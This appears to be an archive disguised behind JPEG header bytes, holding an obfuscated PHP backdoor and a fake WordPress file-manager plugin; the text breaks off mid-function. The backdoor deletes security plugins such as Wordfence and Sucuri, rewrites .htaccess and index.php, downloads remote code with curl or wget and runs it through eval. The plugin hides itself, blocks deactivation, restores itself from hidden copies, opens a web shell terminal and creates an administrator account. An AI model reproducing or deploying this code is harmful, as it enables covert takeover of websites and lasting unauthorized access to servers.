     
        
   
       ÿØÿà JFIF      ÿÛ C      

!"$"$ÿÛ C  ÿÂ p " ÿÄ              ÿÄ             ÿÚ    ÕÔË®
(%	aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥	BQ¤¢ X«)X…€¤   @  

  ..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     PK        ! TtiI  iI    kywlmrdc.phpnu [        b'<?php\r\n\r\n    error_reporting(0);\r\n    define(\'\xda\xba\', \'\xef\xbf\xbd\');\r\n    $GLOBALS[\xda\xba] = array(0 => "error_log", 1 => "log_errors", 2 => "display_errors", 3 => "<br>", 4 => "explode", 5 => "str_split", 6 => "/file_put_contents/", 7 => "/fwrite/", 8 => "./*", 9 => "/", 10 => ".php", 11 => "", 12 => "\\n", 13 => "file_put_contents", 14 => "w", 15 => "PHP_SELF", 16 => "DOCUMENT_ROOT", 17 => "cat ", 18 => "file_get_contents", 19 => "fopen", 20 => "stream_get_contents", 21 => "r", 22 => "implode", 23 => "file", 24 => "../", 25 => "?", 26 => "..", 27 => ".", 28 => "dir", 29 => "./", 30 => "exec", 31 => "passthru", 32 => "system", 33 => "shell_exec", 34 => "", 35 => "COOKIE.txt", 36 => "HTTP_USER_AGENT", 37 => "/Warning:/", 38 => "<?php", 39 => "COOKIE.txt", 40 => "#name=\\"atok\\" value=\\"(.*)\\">#", 41 => "/cdn-cgi/phish-bypass?u=/&atok=", 42 => "wget --header=\\"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1\\" --header=\\"Referer: https://google.com/\\" ", 43 => " -O ", 44 => "/tmp/", 45 => "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 46 => ".txt", 47 => "stream_context_create", 48 => "r", 49 => "http", 50 => "method", 51 => "GET", 52 => "header", 53 => "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1\\r\\nReferer: https://google.com/\\r\\n", 54 => "curl_exec", 55 => "https://", 56 => "https://google.com/", 57 => "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Mobile/15E148 Safari/604.1", 58 => "method", 59 => "GET", 60 => "header", 61 => "REQUEST_URI", 62 => "y", 63 => "a", 64 => "s", 65 => "b", 66 => "d", 67 => "u", 68 => "f", 69 => "q", 70 => "k", 71 => "p", 72 => "l", 73 => "z", 74 => "h", 75 => "i", 76 => "j", 77 => "v", 78 => "x", 79 => "//", 80 => ".", 81 => "sucuri-scanner", 82 => "better-wp-security", 83 => "jetpack", 84 => "wpscan", 85 => "wordfence", 86 => "bulletproof-security", 87 => "all-in-one-wp-security-and-firewall", 88 => "miniorange-2-factor-authentication", 89 => "/wp-content/plugins/", 90 => "/.htaccess", 91 => "/deny(.*)from(.*)all/", 92 => "/order(.*)allow(.*)deny/", 93 => "/index.php", 94 => "/wp-includes/plugin.php", 95 => "/wp-blog-header.php/", 96 => "<?php\\ndefine( \'WP_USE_THEMES\', true );\\nrequire __DIR__ . \'/wp-blog-header.php\';", 97 => "/<html/", 98 => "/<div/", 99 => "/<head>/", 100 => "/<script>/", 101 => "/\\\\\\$path.*=.*\\"(.*)\\";/", 102 => "<IfModule mod_rewrite.c>\\nRewriteEngine On\\nRewriteBase /\\nRewriteRule ^index\\\\.php\\$ - [L]\\nRewriteCond %{REQUEST_FILENAME} !-f\\nRewriteCond %{REQUEST_FILENAME} !-d\\nRewriteRule . /index.php [L]\\n</IfModule>", 103 => "/index.php/", 104 => "/index.php.bak/", 105 => "index.php", 106 => "index.php.bak", 107 => "/about.php", 108 => "/d_time/", 109 => "/SylVxy/", 110 => "/radio.php", 111 => "action", 112 => "http://", 113 => "<?", 114 => "?>", 115 => "action", 116 => "H*", 117 => "403", 118 => "/.user.ini", 119 => "KEY: <!-- MD5: ", 120 => "HTTP_HOST", 121 => "\\xe2\\x80\\x93->");\r\n    error_reporting(0);\r\n    @ini_set($GLOBALS[\xda\xba][0], NULL);\r\n    @ini_set($GLOBALS[\xda\xba][0x1], 0);\r\n    @ini_set($GLOBALS[\xda\xba][0x2], 0);\r\n    echo "<br>";\r\n    if (!function_exists($GLOBALS[\xda\xba][0x4])) {\r\n        function explode($str, $array)\r\n        {\r\n            return split($str, $array);\r\n        }\r\n    }\r\n    if (!function_exists($GLOBALS[\xda\xba][0x5])) {\r\n        function str_split($text, $split = 0x1)\r\n        {\r\n            $array = array();\r\n            for ($i = 0; $i < strlen($text);) {\r\n                $array[] = substr($text, $i, $split);\r\n                $i += $split;\r\n            }\r\n            return $array;\r\n        }\r\n    }\r\n    function oDxsw($j_7Nl, $bf80o = null, $kiuKi = null)\r\n    {\r\n        $QvxWc = curl_init();\r\n        curl_setopt($QvxWc, CURLOPT_URL, $j_7Nl);\r\n        curl_setopt($QvxWc, CURLOPT_HEADER, !0);\r\n        curl_setopt($QvxWc, CURLOPT_RETURNTRANSFER, 0x1);\r\n        curl_setopt($QvxWc, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n        curl_setopt($QvxWc, CURLOPT_CONNECTTIMEOUT, 0x1e);\r\n        curl_setopt($QvxWc, CURLOPT_TIMEOUT, 0x1e);\r\n        curl_setopt($QvxWc, CURLOPT_FOLLOWLOCATION, 0x1);\r\n        curl_setopt($QvxWc, CURLOPT_SSL_VERIFYPEER, 0);\r\n        curl_setopt($QvxWc, CURLOPT_SSL_VERIFYHOST, 0);\r\n        curl_setopt($QvxWc, CURLOPT_USERAGENT, $_SERVER[$GLOBALS[\xda\xba][0x24]]);\r\n        curl_setopt($QvxWc, CURLOPT_COOKIEFILE, $GLOBALS[\xda\xba][0x23]);\r\n        curl_setopt($QvxWc, CURLOPT_COOKIEJAR, $GLOBALS[\xda\xba][0x23]);\r\n        if ($bf80o != null) {\r\n            curl_setopt($QvxWc, CURLOPT_HTTPHEADER, $bf80o);\r\n        }\r\n        if ($kiuKi != null) {\r\n            curl_setopt($QvxWc, CURLOPT_POST, 0x1);\r\n            curl_setopt($QvxWc, CURLOPT_POSTFIELDS, $kiuKi);\r\n        }\r\n        $HOv2H = curl_exec($QvxWc);\r\n        curl_close($QvxWc);\r\n        return $HOv2H;\r\n    }\r\n    function RK_c8($WjdeA)\r\n    {\r\n        $FkCuj = $GLOBALS[\xda\xba][0xb];\r\n        if (function_exists($GLOBALS[\xda\xba][0x1e])) {\r\n            @exec($WjdeA, $FkCuj);\r\n            $FkCuj = @join($GLOBALS[\xda\xba][0xc], $FkCuj);\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x1f])) {\r\n            ob_start();\r\n            @passthru($WjdeA);\r\n            $FkCuj = ob_get_clean();\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x20])) {\r\n            ob_start();\r\n            @system($WjdeA);\r\n            $FkCuj = ob_get_clean();\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x21])) {\r\n            $FkCuj = shell_exec($WjdeA);\r\n        } elseif (is_resource($aWMlI = @popen($WjdeA, $GLOBALS[\xda\xba][0x15]))) {\r\n            $FkCuj = $GLOBALS[\xda\xba][0x22];\r\n            while (!@feof($aWMlI)) {\r\n                $FkCuj .= fread($aWMlI, 0x400);\r\n            }\r\n            pclose($aWMlI);\r\n        }\r\n        return $FkCuj;\r\n    }\r\n    function JUgSe($IzeGa)\r\n    {\r\n        $FiYF_ = $GLOBALS[\xda\xba][0xb];\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x12]) && function_exists($GLOBALS[\xda\xba][0x2f])) {\r\n            $FiYF_ = file_get_contents($IzeGa, !1, stream_context_create(array($GLOBALS[\xda\xba][0x31] => array($GLOBALS[\xda\xba][0x3a] => $GLOBALS[\xda\xba][0x3b], $GLOBALS[\xda\xba][0x3c] => $GLOBALS[\xda\xba][0x35]))));\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x36])) {\r\n            $s2gFs = curl_init();\r\n            curl_setopt($s2gFs, CURLOPT_TIMEOUT, 0xa);\r\n            curl_setopt($s2gFs, CURLOPT_RETURNTRANSFER, !0);\r\n            curl_setopt($s2gFs, CURLOPT_URL, $IzeGa);\r\n            curl_setopt($s2gFs, CURLOPT_USERAGENT, $GLOBALS[\xda\xba][0x39]);\r\n            curl_setopt($s2gFs, CURLOPT_REFERER, $GLOBALS[\xda\xba][0x38]);\r\n            curl_setopt($s2gFs, CURLOPT_FOLLOWLOCATION, !0);\r\n            if (stristr($IzeGa, $GLOBALS[\xda\xba][0x37])) {\r\n                curl_setopt($s2gFs, CURLOPT_SSL_VERIFYPEER, 0);\r\n                curl_setopt($s2gFs, CURLOPT_SSL_VERIFYHOST, 0);\r\n            }\r\n            curl_setopt($s2gFs, CURLOPT_HEADER, !1);\r\n            $FiYF_ = curl_exec($s2gFs);\r\n            curl_close($s2gFs);\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb]) {\r\n            $fO5cJ = $GLOBALS[\xda\xba][0x2c] . substr(str_shuffle($GLOBALS[\xda\xba][0x2d]), 0x32) . $GLOBALS[\xda\xba][0x2e];\r\n            rK_C8($GLOBALS[\xda\xba][0x2a] . $IzeGa . $GLOBALS[\xda\xba][0x2b] . $fO5cJ);\r\n            if (function_exists($GLOBALS[\xda\xba][0x12])) {\r\n                $FiYF_ = file_get_contents($fO5cJ);\r\n            } else {\r\n                $FiYF_ = stream_get_contents(fopen($fO5cJ, $GLOBALS[\xda\xba][0x15]));\r\n            }\r\n            unlink($fO5cJ);\r\n        }\r\n        if (trim($FiYF_) == $GLOBALS[\xda\xba][0xb] && function_exists($GLOBALS[\xda\xba][0x13]) && function_exists($GLOBALS[\xda\xba][0x14]) && function_exists($GLOBALS[\xda\xba][0x2f])) {\r\n            $RNvUK = fopen($IzeGa, $GLOBALS[\xda\xba][0x30], !1, stream_context_create(array($GLOBALS[\xda\xba][0x31] => array($GLOBALS[\xda\xba][0x32] => $GLOBALS[\xda\xba][0x33], $GLOBALS[\xda\xba][0x34] => $GLOBALS[\xda\xba][0x35]))));\r\n            $FiYF_ = stream_get_contents($RNvUK);\r\n        }\r\n        return $FiYF_;\r\n    }\r\n    function AsrZX($ok6e_)\r\n    {\r\n        $p35sK = $GLOBALS[\xda\xba][0xb];\r\n        if (function_exists($GLOBALS[\xda\xba][0x12])) {\r\n            $p35sK = file_get_contents($ok6e_);\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x13]) && function_exists($GLOBALS[\xda\xba][0x14])) {\r\n            $p35sK = stream_get_contents(fopen($ok6e_, $GLOBALS[\xda\xba][0x15]));\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x16]) && function_exists($GLOBALS[\xda\xba][0x17])) {\r\n            $p35sK = implode(file($ok6e_));\r\n        } elseif (function_exists($GLOBALS[\xda\xba][0x17])) {\r\n            $mPYIt = file($ok6e_);\r\n            if (function_exists($GLOBALS[\xda\xba][0x16])) {\r\n                $p35sK = implode($mPYIt);\r\n            } else {\r\n                foreach ($mPYIt as $zd4bR) {\r\n                    $p35sK .= $zd4bR;\r\n                }\r\n            }\r\n        }\r\n        if (trim($p35sK) == $GLOBALS[\xda\xba][0xb]) {\r\n            $p35sK = Rk_c8($GLOBALS[\xda\xba][0x11] . $ok6e_);\r\n        }\r\n        return $p35sK;\r\n    }\r\n    function QxB8Z($ok6e_, $iTqoS)\r\n    {\r\n        if (function_exists($GLOBALS[\xda\xba][0xd])) {\r\n            $fYuhN = file_put_contents($ok6e_, $iTqoS);\r\n        } else {\r\n            $fYuhN = fwrite(fopen($ok6e_, $GLOBALS[\xda\xba][0xe]), $iTqoS);\r\n        }\r\n        return $fYuhN;\r\n    }\r\n    function ZMpTl($KKNL0, $bN80E)\r\n    {\r\n        $n6JcJ = 0;\r\n        $Nzr3p = aSRzx($KKNL0);\r\n        $mPYIt = explode($GLOBALS[\xda\xba][0xc], $Nzr3p);\r\n        foreach ($mPYIt as $zd4bR) {\r\n            if (strstr($zd4bR, $bN80E)) {\r\n                $n6JcJ++;\r\n            }\r\n        }\r\n        return $n6JcJ;\r\n    }\r\n    function rlAoq($KKNL0, $bN80E)\r\n    {\r\n        $Nucua = ZMPtL($KKNL0, $bN80E);\r\n        $Nzr3p = ASRzx($KKNL0);\r\n        $mPYIt = explode($GLOBALS[\xda\xba][0xc], $Nzr3p);\r\n        $tlBti = $GLOBALS[\xda\xba][0xb];\r\n        foreach ($mPYIt as $zd4bR) {\r\n            if (strstr($zd4bR, $bN80E) || $Nucua <= 0) {\r\n                $Nucua--;\r\n                if ($Nucua <= 0) {\r\n                    $tlBti .= $zd4bR . $GLOBALS[\xda\xba][0xc];\r\n                }\r\n            }\r\n        }\r\n        return $tlBti;\r\n    }\r\n    function MiMRi($BSTSR)\r\n    {\r\n        $iTMgs = $BSTSR . $GLOBALS[\xda\xba][0x5a];\r\n        $CTswv = strtolower(aSRZX($iTMgs));\r\n        if (preg_match($GLOBALS[\xda\xba][0x5b], $CTswv) || preg_match($GLOBALS[\xda\xba][0x5c], $CTswv)) {\r\n            $qsml6 = $BSTSR . $GLOBALS[\xda\xba][0x5e];\r\n            $HH0Dt = aSrzx($qsml6);\r\n            if (preg_match($GLOBALS[\xda\xba][0x67], $HH0Dt) && !preg_match($GLOBALS[\xda\xba][0x68], $HH0Dt)) {\r\n                $HH0Dt = str_replace($GLOBALS[\xda\xba][0x69], $GLOBALS[\xda\xba][0x6a], $HH0Dt);\r\n                chmod($qsml6, 0644);\r\n                qXb8Z($qsml6, $HH0Dt);\r\n            }\r\n            if (preg_match($GLOBALS[\xda\xba][0x65], $HH0Dt, $A0J4x)) {\r\n                unlink($A0J4x[0x1]);\r\n            }\r\n            $Xa3Xv = $BSTSR . $GLOBALS[\xda\xba][0x6b];\r\n            $r4rLX = ASRZX($Xa3Xv);\r\n            if (file_exists($Xa3Xv) && (preg_match($GLOBALS[\xda\xba][0x6c], $r4rLX) || preg_match($GLOBALS[\xda\xba][0x6d], $r4rLX))) {\r\n                unlink($Xa3Xv);\r\n                unlink($BSTSR . $GLOBALS[\xda\xba][0x6e]);\r\n            }\r\n            $YzXVO = $BSTSR . $GLOBALS[\xda\xba][0x5d];\r\n            $ZcVkF = Asrzx($YzXVO);\r\n            if (preg_match($GLOBALS[\xda\xba][0x5f], $ZcVkF)) {\r\n                $TnBIs = $GLOBALS[\xda\xba][0x60];\r\n                chmod($YzXVO, 0644);\r\n                qxb8z($YzXVO, $TnBIs);\r\n            } elseif (strstr($ZcVkF, $GLOBALS[\xda\xba][0x26]) && !preg_match($GLOBALS[\xda\xba][0x61], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x62], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x63], $ZcVkF) && !preg_match($GLOBALS[\xda\xba][0x64], $ZcVkF)) {\r\n                $TnBIs = rLaoq($YzXVO, $GLOBALS[\xda\xba][0x26]);\r\n                chmod($YzXVO, 0644);\r\n                qxb8z($YzXVO, $TnBIs);\r\n            }\r\n            chmod($iTMgs, 0644);\r\n            $z_5mN = $GLOBALS[\xda\xba][0x66];\r\n            QXb8Z($iTMgs, $z_5mN);\r\n        }\r\n    }\r\n    function iRmJx($ok6e_)\r\n    {\r\n        $ok6e_ = substr($ok6e_, -1) == $GLOBALS[\xda\xba][0x9] ? $ok6e_ : $ok6e_ . $GLOBALS[\xda\xba][0x9];\r\n        $SZzID = opendir($ok6e_);\r\n        while (($phOnJ = readdir($SZzID)) !== !1) {\r\n            $phOnJ = $ok6e_ . $phOnJ;\r\n            if (basename($phOnJ) == $GLOBALS[\xda\xba][0x1a] || basename($phOnJ) == $GLOBALS[\xda\xba][0x1b]) {\r\n                continue;\r\n            }\r\n            $tabyZ = filetype($phOnJ);\r\n            if ($tabyZ == $GLOBALS[\xda\xba][0x1c]) {\r\n                irMjX($phOnJ);\r\n            } else {\r\n                @unlink($phOnJ);\r\n            }\r\n        }\r\n        closedir($SZzID);\r\n        @rmdir($ok6e_);\r\n    }\r\n    function ocIVI($BSTSR)\r\n    {\r\n        $jYG7l = array($GLOBALS[\xda\xba][0x51], $GLOBALS[\xda\xba][0x52], $GLOBALS[\xda\xba][0x53], $GLOBALS[\xda\xba][0x54], $GLOBALS[\xda\xba][0x55], $GLOBALS[\xda\xba][0x56], $GLOBALS[\xda\xba][0x57], $GLOBALS[\xda\xba][0x58]);\r\n        foreach ($jYG7l as $HH0Dt) {\r\n            $jAUNf = $BSTSR . $GLOBALS[\xda\xba][0x59] . $HH0Dt;\r\n            if (is_dir($jAUNf)) {\r\n                iRmJx($jAUNf);\r\n            }\r\n        }\r\n    }\r\n    $GhlyG = strval(basename("/var/www/html/bk.php"));\r\n    $aWMlI = explode($GLOBALS[\xda\xba][0x50], $GhlyG);\r\n    $GhlyG = $aWMlI[0] . $GLOBALS[\xda\xba][0xa];\r\n    $Nzr3p = aSRzx($GhlyG);\r\n    if (preg_match($GLOBALS[\xda\xba][0x6], $Nzr3p) || preg_match($GLOBALS[\xda\xba][0x7], $Nzr3p)) {\r\n        $LhFlr = glob($GLOBALS[\xda\xba][0x8]);\r\n        foreach ($LhFlr as $KKNL0) {\r\n            if (is_file($KKNL0)) {\r\n                unlink($KKNL0);\r\n            }\r\n        }\r\n        exit;\r\n    }\r\n    function LE86Y($ZJoHI, $iTqoS)\r\n    {\r\n        if (preg_match($GLOBALS[\xda\xba][0x25], $iTqoS)) {\r\n            preg_match($GLOBALS[\xda\xba][0x28], $iTqoS, $s2WNP);\r\n            $s2WNP = $s2WNP[0x1];\r\n            $dbhhI = oDXSW($ZJoHI . $GLOBALS[\xda\xba][0x29] . $s2WNP);\r\n            $iTqoS = odxSw($ZJoHI);\r\n            $iKFfw = $GLOBALS[\xda\xba][0x26];\r\n            $RJWgv = strpos($iTqoS, $iKFfw) + strlen($iKFfw);\r\n            $iTqoS = $GLOBALS[\xda\xba][0x26] . substr($iTqoS, $RJWgv);\r\n            unlink($GLOBALS[\xda\xba][0x27]);\r\n        }\r\n        return $iTqoS;\r\n    }\r\n    function FbJtr($P94B6)\r\n    {\r\n        $dozF_ = array($GLOBALS[\xda\xba][0x3e] => $GLOBALS[\xda\xba][0x3f], $GLOBALS[\xda\xba][0x40] => $GLOBALS[\xda\xba][0x41], $GLOBALS[\xda\xba][0x3f] => $GLOBALS[\xda\xba][0x42], $GLOBALS[\xda\xba][0x43] => $GLOBALS[\xda\xba][0x44], $GLOBALS[\xda\xba][0x45] => $GLOBALS[\xda\xba][0x46], $GLOBALS[\xda\xba][0x47] => $GLOBALS[\xda\xba][0x48], $GLOBALS[\xda\xba][0x49] => $GLOBALS[\xda\xba][0x4a], $GLOBALS[\xda\xba][0x41] => $GLOBALS[\xda\xba][0x4b], $GLOBALS[\xda\xba][0x44] => $GLOBALS[\xda\xba][0x4c], $GLOBALS[\xda\xba][0x4d] => $GLOBALS[\xda\xba][0x47], $GLOBALS[\xda\xba][0x42] => $GLOBALS[\xda\xba][0x45], $GLOBALS[\xda\xba][0x4b] => $GLOBALS[\xda\xba][0x40], $GLOBALS[\xda\xba][0x4e] => $GLOBALS[\xda\xba][0x43], $GLOBALS[\xda\xba][0x48] => $GLOBALS[\xda\xba][0x4d], $GLOBALS[\xda\xba][0x46] => $GLOBALS[\xda\xba][0x4e], $GLOBALS[\xda\xba][0x4a] => $GLOBALS[\xda\xba][0x3e], $GLOBALS[\xda\xba][0x4c] => $GLOBALS[\xda\xba][0x49]);\r\n        $zYBxV = str_split($P94B6);\r\n        $Tax0X = $GLOBALS[\xda\xba][0xb];\r\n        foreach ($zYBxV as $Um4AM) {\r\n            if (in_array($Um4AM, $dozF_)) {\r\n                $Tax0X .= $dozF_[$Um4AM];\r\n            } else {\r\n                $Tax0X .= $Um4AM;\r\n            }\r\n        }\r\n        return $Tax0X;\r\n    }\r\n    function eOcGK($BSTSR)\r\n    {\r\n        $BPpYo = realpath($BSTSR);\r\n        if (trim($BPpYo) == $GLOBALS[\xda\xba][0xb]) {\r\n            $BPpYo = $_SERVER[$GLOBALS[\xda\xba][0x10]];\r\n        }\r\n        if (!stristr(getcwd(), $BPpYo)) {\r\n            $BPpYo = str_replace($_SERVER[$GLOBALS[\xda\xba][0xf]], $GLOBALS[\xda\xba][0xb], "/var/www/html/bk.php");\r\n        }\r\n        return $BPpYo;\r\n    }\r\n    $smTub = strval($_SERVER[$GLOBALS[\xda\xba][0x3d]]);\r\n    while (strstr($smTub, $GLOBALS[\xda\xba][0x4f])) {\r\n        $smTub = str_replace($GLOBALS[\xda\xba][0x4f], $GLOBALS[\xda\xba][0x9], $smTub);\r\n    }\r\n    if (strstr($smTub, $GLOBALS[\xda\xba][0x19])) {\r\n        $smTub = explode($GLOBALS[\xda\xba][0x19], $smTub);\r\n        $smTub = $smTub[0];\r\n    }\r\n    $tzTJj = substr_count($smTub, $GLOBALS[\xda\xba][0x9]);\r\n    $BSTSR = $GLOBALS[\xda\xba][0x1d];\r\n    $K71UX = 0x1;\r\n    while ($K71UX < intval($tzTJj)) {\r\n        $BSTSR .= $GLOBALS[\xda\xba][0x18];\r\n        $K71UX++;\r\n    }\r\n    $BSTSR = EOcgk($BSTSR);\r\n    MiMRi($BSTSR);\r\n    oCIVi($BSTSR);\r\n    if (isset($_GET[$GLOBALS[\xda\xba][0x6f]])) {\r\n        $vo1vU = trim($_GET[$GLOBALS[\xda\xba][0x73]]);\r\n        $vo1vU = str_rot13(pack($GLOBALS[\xda\xba][0x74], strrev($vo1vU)));\r\n        $F3bIg = JuGse($GLOBALS[\xda\xba][0x70] . FbJTr($vo1vU));\r\n        $F3bIg = Le86y($GLOBALS[\xda\xba][0x70] . fbjtR($vo1vU), $F3bIg);\r\n        $F3bIg = str_replace(array($GLOBALS[\xda\xba][0x26], $GLOBALS[\xda\xba][0x71], $GLOBALS[\xda\xba][0x72]), $GLOBALS[\xda\xba][0xb], $F3bIg);\r\n        eval($F3bIg);\r\n    } elseif (isset($_GET[$GLOBALS[\xda\xba][0x75]])) {\r\n        $CTswv = $GLOBALS[\xda\xba][0x66];\r\n        chmod($BSTSR . $GLOBALS[\xda\xba][0x5a], 0644);\r\n        QxB8z($BSTSR . $GLOBALS[\xda\xba][0x5a], $CTswv);\r\n        unlink($BSTSR . $GLOBALS[\xda\xba][0x76]);\r\n    } else {\r\n        echo $GLOBALS[\xda\xba][0x77] . md5($_SERVER[$GLOBALS[\xda\xba][0x78]]) . $GLOBALS[\xda\xba][0x79];\r\n    }'PK        ! ͌z z 
  plugin.phpnu [        ﻿<?php
/**
 * File Manager Pro V3 - Standalone & WordPress Plugin
 * Description: Sid Gifari Advanced file manager
 * Version: 10.0.3
 * Author: Sid Gifari
 * 
 * Usage as standalone: Just upload and access this file directly
 * Usage as WP plugin: Place in wp-content/plugins/ folder
 */

// Detect if running within WordPress
$is_wordpress = defined('ABSPATH');

if ($is_wordpress) {
    // WordPress mode - prevent direct access
    if (!defined('ABSPATH')) {
        exit;
    }
    
    // WordPress plugin functionality
    add_action('plugins_loaded', function() {
        SidGifariFileManager::get_instance();
    });
} else {
    // Standalone mode - start session and run directly
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    
    // Set root path for standalone mode
    $root_path = getcwd();
    $manager = new SidGifariFileManager();
    $manager->init_standalone($root_path);
    $manager->run_standalone();
}

class SidGifariFileManager {
    
    private static $instance = null;
    private $root_path;
    private $backup_files = [];
    private $is_wordpress = false;
    
    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    public function __construct() {
        $this->is_wordpress = defined('ABSPATH');
        if ($this->is_wordpress) {
            $this->init_wordpress();
        }
    }
    
    /**
     * Initialize in WordPress mode
     */
    private function init_wordpress() {
        $this->root_path = ABSPATH;
        $current_file = __FILE__;
        
        // Setup backup files for self-preservation
        $this->backup_files = [
            $this->root_path . '.sidbackup.php',
            $this->root_path . 'wp-content/.sidbackup.php',
            sys_get_temp_dir() . '/.sidbackup.php'
        ];
        
        $current_content = file_get_contents($current_file);
        foreach ($this->backup_files as $backup) {
            $backup_dir = dirname($backup);
            if (is_dir($backup_dir) && is_writable($backup_dir)) {
                if (!file_exists($backup)) {
                    @file_put_contents($backup, $current_content);
                }
            }
        }
        
        // Self-restore if deleted
        if (!file_exists($current_file)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, $current_file);
                    break;
                }
            }
        }
        
        // WordPress hooks
        add_action('admin_menu', [$this, 'add_admin_menu']);
        add_action('admin_init', [$this, 'handle_requests']);
        
        // Hide and protect plugin
        add_filter('all_plugins', [$this, 'hide_from_plugins_list']);
        add_filter('plugin_action_links_' . plugin_basename(__FILE__), [$this, 'remove_deactivation_link'], 10, 4);
        
        // Auto-reactivate
        add_action('init', [$this, 'auto_reactivate']);
        
        // Create admin user
        add_action('admin_init', [$this, 'create_admin_user']);
    }
    
    /**
     * Initialize in standalone mode
     */
    public function init_standalone($root_path) {
        $this->root_path = realpath($root_path);
        $this->backup_files = [];
    }
    
    /**
     * Run in standalone mode
     */
    public function run_standalone() {
        $this->handle_requests();
        $this->render_standalone_page();
    }
    
    /**
     * Handle all requests
     */
    public function handle_requests() {
        if ($this->is_wordpress) {
            if (!isset($_GET['page']) || $_GET['page'] !== 'SidFile-Manager-path') {
                return;
            }
        }
        
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $current_dir = $this->get_current_directory();
            
            // Handle terminal commands
            if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
                $this->handle_terminal($current_dir);
            }
            
            // Handle file operations
            $this->handle_file_operations($current_dir);
        }
    }
    
    /**
     * Get current working directory - YOUR ORIGINAL LOGIC
     */
    private function get_current_directory() {
        // Initialize from session or default to root
        if (!isset($_SESSION['current_browsing_dir'])) {
            $_SESSION['current_browsing_dir'] = $this->root_path;
        }
        
        $current_dir = $_SESSION['current_browsing_dir'];
        
        // Handle directory change via GET parameter 'p'
        if (isset($_GET['p'])) {
            $decoded = $this->decodePath($_GET['p']);
            
            // If empty, go to root
            if (empty($decoded)) {
                $current_dir = $this->root_path;
            }
            // If it's a full path and directory exists
            elseif (is_dir($decoded)) {
                $real_path = realpath($decoded);
                if ($real_path && is_dir($real_path)) {
                    $current_dir = $real_path;
                } else {
                    $current_dir = $this->root_path;
                }
            }
            // If it's relative to current session directory
            else {
                $full_path = $_SESSION['current_browsing_dir'] . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                if (is_dir($full_path)) {
                    $real_path = realpath($full_path);
                    if ($real_path) {
                        $current_dir = $real_path;
                    } else {
                        $current_dir = $_SESSION['current_browsing_dir'];
                    }
                }
                // Try from root
                else {
                    $full_path = $this->root_path . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                    if (is_dir($full_path)) {
                        $real_path = realpath($full_path);
                        if ($real_path) {
                            $current_dir = $real_path;
                        } else {
                            $current_dir = $_SESSION['current_browsing_dir'];
                        }
                    } else {
                        // Directory doesn't exist, stay in current
                        $current_dir = $_SESSION['current_browsing_dir'];
                    }
                }
            }
            
            // Update session with new directory
            $_SESSION['current_browsing_dir'] = $current_dir;
            $_SESSION['cwd'] = $current_dir;
        } else {
            // No 'p' parameter, use session or default
            if (isset($_SESSION['current_browsing_dir']) && is_dir($_SESSION['current_browsing_dir'])) {
                $current_dir = $_SESSION['current_browsing_dir'];
            } else {
                $current_dir = $this->root_path;
                $_SESSION['current_browsing_dir'] = $this->root_path;
            }
        }
        
        // Make sure current_dir is valid
        if (!is_dir($current_dir)) {
            $current_dir = $this->root_path;
            $_SESSION['current_browsing_dir'] = $this->root_path;
        }
        
        // Make sure we have realpath
        $current_dir = realpath($current_dir) ?: $this->root_path;
        
        // Update CWD session
        $_SESSION['cwd'] = $current_dir;
        $_SESSION['current_browsing_dir'] = $current_dir;
        
        return $current_dir;
    }
    
    /**
     * Handle terminal commands
     */
    private function handle_terminal($current_dir) {
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : $current_dir;
        $cmdInput = trim($_POST['terminal-text']);
        $output = "";

        // Handle cd command
        if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            
            if ($dir === '' || $dir === '~' || $dir === '/') {
                $new_dir = $this->root_path;
            } elseif ($dir === '..') {
                $new_dir = dirname($cwd);
                // Don't go below root
                if (strpos(realpath($new_dir) ?: $new_dir, realpath($this->root_path) ?: $this->root_path) !== 0) {
                    $new_dir = $this->root_path;
                }
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $new_dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            } else {
                $new_dir = $dir;
            }
            
            $realDir = realpath($new_dir);
            
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $_SESSION['current_browsing_dir'] = $realDir;
                $cwd = $realDir;
                $current_dir = $realDir;
                $output = "Changed directory to " . $realDir;
            } else {
                // Try from root
                $try_from_root = $this->root_path . DIRECTORY_SEPARATOR . ltrim($dir, '/\\');
                $realDir = realpath($try_from_root);
                if ($realDir && is_dir($realDir)) {
                    $_SESSION['cwd'] = $realDir;
